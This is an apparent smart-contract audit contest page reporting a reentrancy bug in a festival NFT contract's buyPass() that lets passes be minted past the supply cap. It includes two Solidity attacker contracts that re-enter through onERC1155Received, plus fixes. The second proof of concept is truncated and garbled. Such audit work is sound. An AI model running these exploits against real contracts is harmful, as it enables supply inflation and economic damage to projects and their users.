Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in `buyPass()` allows bypassing maximum supply limits

H-1: Reentrancy in buyPass() allows bypassing maximum supply limits

Description

The buyPass() function is designed to enforce a maximum supply limit for each pass tier (GENERAL, VIP, BACKSTAGE) by checking passSupply[collectionId] < passMaxSupply[collectionId] before minting. Each tier should only mint up to its configured passMaxSupply to maintain scarcity and tokenomics.

However, the passSupply counter is incremented after the _mint() call, which triggers an external callback (onERC1155Received) if the recipient is a contract. This allows an attacker to re-enter the buyPass() function before the supply counter updates, bypassing the maximum supply check and minting unlimited passes.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, ""); // External call triggers onERC1155Received callback
@> ++passSupply[collectionId]; // State update happens AFTER external interaction
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood: High

  • Any malicious contract can implement onERC1155Received() hook to re-enter buyPass() during the minting process

  • The attack requires no special permissions or timing - only paying the pass price per mint

  • ERC1155 callbacks are standard functionality, making exploitation straightforward

Impact: Critical

  • Attacker can mint unlimited passes beyond passMaxSupply, destroying scarcity model

  • Economic damage: VIP/BACKSTAGE passes gain 2x-3x multipliers for performance rewards, leading to excessive BEAT token inflation

  • Festival revenue is undermined as attacker pays once but receives multiple passes

  • Supply tracking becomes permanently desynchronized with actual minted amounts

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public festivalPass;
uint256 public attackCount;
uint256 public maxAttacks = 10;
uint256 public targetPassId = 2; // VIP_PASS
constructor(address _festivalPass) {
festivalPass = FestivalPass(_festivalPass);
}
function attack() external payable {
// Initial call to buyPass
festivalPass.buyPass{value: msg.value}(targetPassId);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public override returns (bytes4) {
// Re-enter during the callback if we haven't hit our limit
if (attackCount < maxAttacks) {
attackCount++;
// Get the pass price and re-enter
uint256 price = festivalPass.passPrice(targetPassId);
if (address(this).balance >= price) {
festivalPass.buyPass{value: price}(targetPassId);
}
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public pure override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) public pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}
// Test scenario:
// 1. VIP pass has maxSupply = 100, price = 0.1 ETH
// 2. Attacker deploys ReentrancyAttacker contract with 1 ETH
// 3. Attacker calls attack() with 0.1 ETH
// 4. During onERC1155Received callback, attacker re-enters buyPass() 10 more times
// 5. Result: Attacker mints 11 VIP passes, but passSupply only increments to 11 after all re-entries complete
// 6. If passSupply was 90 before attack, it becomes 101, exceeding maxSupply of 100

Recommended Mitigation

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Update state BEFORE external interaction (Checks-Effects-Interactions pattern)
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Alternative: Add OpenZeppelin's ReentrancyGuard:

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass {
+ contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass, ReentrancyGuard {
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!